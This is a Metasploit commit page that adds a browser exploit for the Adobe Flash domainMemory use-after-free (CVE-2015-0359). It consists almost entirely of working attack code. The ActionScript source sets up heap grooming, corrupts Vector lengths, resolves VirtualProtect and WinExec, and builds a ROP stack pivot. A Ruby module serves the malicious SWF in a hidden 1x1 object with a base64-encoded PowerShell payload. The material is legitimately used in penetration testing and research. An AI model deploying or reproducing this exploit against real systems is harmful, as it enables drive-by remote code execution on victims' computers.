Skip to content

Commit eb98eaa

Browse files
wchen-r7wchen-r7
committed
Land rapid7#5321, CVE-2015-0359 domainMemory ByteArray Use After Free
2 parents 134a674 + 51bb4b5 commit eb98eaa

File tree

3 files changed

+373
-0
lines changed

3 files changed

+373
-0
lines changed

‎data/exploits/CVE-2015-0359/msf.swf

17.7 KB
Binary file not shown.

‎external/source/exploits/CVE-2015-0359/Msf.as

Lines changed: 261 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,261 @@
1+
// Build how to:
2+
// 1. Download the AIRSDK, and use its compiler.
3+
// 2. Be support to support 16.0 as target-player (flex-config.xml).
4+
// 3. Download the Flex SDK (4.6)
5+
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
6+
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
7+
// 5. Build with: mxmlc -o msf.swf Msf.as
8+
9+
// Original code by @hdarwin89 modified to be used from msf
10+
// https://git.hacklab.kr/snippets/13
11+
// http://pastebin.com/Wj3NViUu
12+
13+
package
14+
{
15+
import flash.display.Sprite
16+
import flash.events.Event
17+
import flash.utils.ByteArray
18+
import flash.system.Worker
19+
import flash.system.WorkerDomain
20+
import flash.system.MessageChannel
21+
import flash.system.ApplicationDomain
22+
import avm2.intrinsics.memory.casi32
23+
import flash.display.LoaderInfo
24+
import mx.utils.Base64Decoder
25+
26+
public class Msf extends Sprite
27+
{
28+
private var ov:Vector.<Object> = new Vector.<Object>(25600)
29+
private var uv:Vector.<uint> = new Vector.<uint>
30+
private var ba:ByteArray = new ByteArray()
31+
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
32+
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
33+
private var b64:Base64Decoder = new Base64Decoder()
34+
private var payload:String = ""
35+
private var worker:Worker
36+
private var mc:MessageChannel
37+
38+
public function Msf()
39+
{
40+
if (Worker.current.isPrimordial) mainThread()
41+
else workerThread()
42+
}
43+
44+
private function mainThread():void
45+
{
46+
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
47+
payload = b64.toByteArray().toString()
48+
ba.length = 0x1000
49+
ba.shareable = true
50+
for (var i:uint = 0; i < ov.length; i++) {
51+
ov[i] = new Vector.<Object>(1014)
52+
ov[i][0] = ba
53+
ov[i][1] = this
54+
ov[i][2] = stack
55+
ov[i][3] = payload_space
56+
}
57+
for (i = 0; i < ov.length; i += 2) delete(ov[i])
58+
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
59+
mc = worker.createMessageChannel(Worker.current)
60+
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
61+
worker.setSharedProperty("mc", mc)
62+
worker.setSharedProperty("ba", ba)
63+
ApplicationDomain.currentDomain.domainMemory = ba
64+
worker.start()
65+
}
66+
67+
private function workerThread():void
68+
{
69+
var ba:ByteArray = Worker.current.getSharedProperty("ba")
70+
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
71+
var tmp:ByteArray = new ByteArray()
72+
tmp.length = 0x2000
73+
74+
for (var i:uint = 0; i < 20; i++) {
75+
new Vector.<uint>(1022)
76+
}
77+
78+
ba.writeBytes(tmp)
79+
ov[0] = new Vector.<uint>(1022)
80+
81+
mc.send("")
82+
while (mc.messageAvailable);
83+
84+
// Vector length corruption didn't work, aborting...
85+
if (ov[0].length != 0xffffffff) {
86+
return
87+
}
88+
89+
// Bad memory layout :( restoring length, and aborting...
90+
if (ov[0][0x407] != 0x3f6) {
91+
ov[0][0x3ffffffe] = 1022
92+
return
93+
}
94+
95+
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
96+
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) //+ 0x100000
97+
var main:uint = ov[0][0x409] - 1
98+
var stack_object:uint = ov[0][0x40a] - 1
99+
var payload_space_object:uint = ov[0][0x40b] - 1
100+
var vtable:uint = vector_read(main)
101+
var stack_address:uint = vector_read(stack_object + 0x18) as uint
102+
var payload_address:uint = vector_read(payload_space_object + 0x18) as uint
103+
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
104+
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
105+
mc.send(buffer.toString() + "/" + main.toString() + "/" + vtable.toString() + "/" + stack_address.toString() + "/" + payload_address.toString())
106+
}
107+
108+
private function onMessage(e:Event):void
109+
{
110+
casi32(0, 1022, 0xFFFFFFFF)
111+
if (ba.length != 0xffffffff) mc.receive()
112+
else {
113+
// Restoring vector length
114+
var res:uint = casi32(0, 0xffffffff, 1022)
115+
if (res != 0xffffffff) { // Something has been wrong... aborting
116+
return
117+
}
118+
ba.endian = "littleEndian"
119+
var data:Array = (mc.receive() as String).split("/")
120+
var buffer:uint = parseInt(data[0]) as uint
121+
var main:uint = parseInt(data[1]) as uint
122+
var vtable:uint = parseInt(data[2]) as uint
123+
var stack_address:uint = parseInt(data[3]) as uint
124+
var payload_address:uint = parseInt(data[4]) as uint
125+
var flash:uint = base(vtable)
126+
var winmm:uint = module("winmm.dll", flash)
127+
var kernel32:uint = module("kernel32.dll", winmm)
128+
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
129+
var winexec:uint = procedure("WinExec", kernel32)
130+
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
131+
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
132+
133+
// Continuation of execution
134+
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
135+
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
136+
byte_write(0, "\x89\x03", false) // mov [ebx], eax
137+
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
138+
139+
// Put the payload (command) in memory
140+
byte_write(payload_address + 8, payload, true); // payload
141+
142+
// Put the fake vtabe / stack on memory
143+
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
144+
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
145+
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
146+
byte_write(0, virtualprotect)
147+
148+
// VirtualProtect
149+
byte_write(0, winexec)
150+
byte_write(0, buffer + 0x10)
151+
byte_write(0, 0x1000)
152+
byte_write(0, 0x40)
153+
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
154+
155+
// WinExec
156+
byte_write(0, buffer + 0x10)
157+
byte_write(0, payload_address + 8)
158+
byte_write(0)
159+
160+
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
161+
162+
toString() // call method in the fake vtable
163+
}
164+
}
165+
166+
private function vector_write(addr:uint, value:uint = 0):void
167+
{
168+
var pos:uint = 0
169+
170+
if (addr > ov[0][0]) {
171+
pos = ((addr - ov[0][0]) / 4) - 2
172+
} else {
173+
pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1
174+
}
175+
176+
ov[0][pos] = value
177+
}
178+
179+
private function vector_read(addr:uint):uint
180+
{
181+
var pos:uint = 0
182+
183+
if (addr > ov[0][0]) {
184+
pos = ((addr - ov[0][0]) / 4) - 2
185+
} else {
186+
pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1
187+
}
188+
189+
return ov[0][pos]
190+
}
191+
192+
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
193+
{
194+
if (addr) ba.position = addr
195+
if (value is String) {
196+
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
197+
if (zero) ba.writeByte(0)
198+
} else ba.writeUnsignedInt(value)
199+
}
200+
201+
private function byte_read(addr:uint, type:String = "dword"):uint
202+
{
203+
ba.position = addr
204+
switch(type) {
205+
case "dword":
206+
return ba.readUnsignedInt()
207+
case "word":
208+
return ba.readUnsignedShort()
209+
case "byte":
210+
return ba.readUnsignedByte()
211+
}
212+
return 0
213+
}
214+
215+
private function base(addr:uint):uint
216+
{
217+
addr &= 0xffff0000
218+
while (true) {
219+
if (byte_read(addr) == 0x00905a4d) return addr
220+
addr -= 0x10000
221+
}
222+
return 0
223+
}
224+
225+
private function module(name:String, addr:uint):uint
226+
{
227+
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
228+
while (true) {
229+
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
230+
if (!entry) throw new Error("FAIL!");
231+
ba.position = addr + entry
232+
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
233+
}
234+
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
235+
}
236+
237+
private function procedure(name:String, addr:uint):uint
238+
{
239+
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
240+
var numberOfNames:uint = byte_read(eat + 0x18)
241+
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
242+
var addressOfNames:uint = addr + byte_read(eat + 0x20)
243+
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
244+
for (var i:uint = 0; ; i++) {
245+
var entry:uint = byte_read(addressOfNames + i * 4)
246+
ba.position = addr + entry
247+
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
248+
}
249+
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
250+
}
251+
252+
private function gadget(gadget:String, hint:uint, addr:uint):uint
253+
{
254+
var find:uint = 0
255+
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
256+
var value:uint = parseInt(gadget, 16)
257+
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
258+
return addr + i
259+
}
260+
}
261+
}

‎modules/exploits/windows/browser/adobe_flash_domain_memory_uaf.rb

Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Powershell
12+
include Msf::Exploit::Remote::BrowserExploitServer
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Adobe Flash Player domainMemory ByteArray Use After Free',
17+
'Description' => %q{
18+
This module exploits a use-after-free vulnerability in Adobe Flash Player. The
19+
vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
20+
is freed from an ActionScript worker, when forcing a reallocation by copying more
21+
contents than the original capacity, but Flash forgets to update the domainMemory
22+
pointer, leading to a use-after-free situation when the main worker references the
23+
domainMemory again. This module has been tested successfully on Windows 7 SP1
24+
(32-bit), IE 8 and IE11 with Flash 17.0.0.134.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'bilou', # Vulnerability discovery according to Flash Advisory
30+
'Unknown', # Exploit in the wild
31+
'hdarwin', # @hdarwin89 / public exploit (msf module is based on this one)
32+
'juan vazquez' # msf module
33+
],
34+
'References' =>
35+
[
36+
['CVE', '2015-0359'],
37+
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'],
38+
['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/angler_ek_exploiting.html'],
39+
['URL', 'http://malware.dontneedcoffee.com/2015/04/cve-2015-0359-flash-up-to-1700134-and.html'],
40+
['URL', 'https://git.hacklab.kr/snippets/13'],
41+
['URL', 'http://pastebin.com/Wj3NViUu']
42+
],
43+
'Payload' =>
44+
{
45+
'DisableNops' => true
46+
},
47+
'Platform' => 'win',
48+
'BrowserRequirements' =>
49+
{
50+
:source => /script|headers/i,
51+
:os_name => OperatingSystems::Match::WINDOWS_7,
52+
:ua_name => Msf::HttpClients::IE,
53+
:flash => lambda { |ver| ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.134') },
54+
:arch => ARCH_X86
55+
},
56+
'Targets' =>
57+
[
58+
[ 'Automatic', {} ]
59+
],
60+
'Privileged' => false,
61+
'DisclosureDate' => 'Apr 14 2014',
62+
'DefaultTarget' => 0))
63+
end
64+
65+
def exploit
66+
@swf = create_swf
67+
super
68+
end
69+
70+
def on_request_exploit(cli, request, target_info)
71+
print_status("Request: #{request.uri}")
72+
73+
if request.uri =~ /\.swf$/
74+
print_status('Sending SWF...')
75+
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
76+
return
77+
end
78+
79+
print_status('Sending HTML...')
80+
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
81+
end
82+
83+
def exploit_template(cli, target_info)
84+
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
85+
target_payload = get_payload(cli, target_info)
86+
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
87+
b64_payload = Rex::Text.encode_base64(psh_payload)
88+
89+
html_template = %Q|<html>
90+
<body>
91+
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
92+
<param name="movie" value="<%=swf_random%>" />
93+
<param name="allowScriptAccess" value="always" />
94+
<param name="FlashVars" value="sh=<%=b64_payload%>" />
95+
<param name="Play" value="true" />
96+
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
97+
</object>
98+
</body>
99+
</html>
100+
|
101+
102+
return html_template, binding()
103+
end
104+
105+
def create_swf
106+
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0359', 'msf.swf')
107+
swf = ::File.open(path, 'rb') { |f| swf = f.read }
108+
109+
swf
110+
end
111+
112+
end

0 commit comments

Comments
 (0)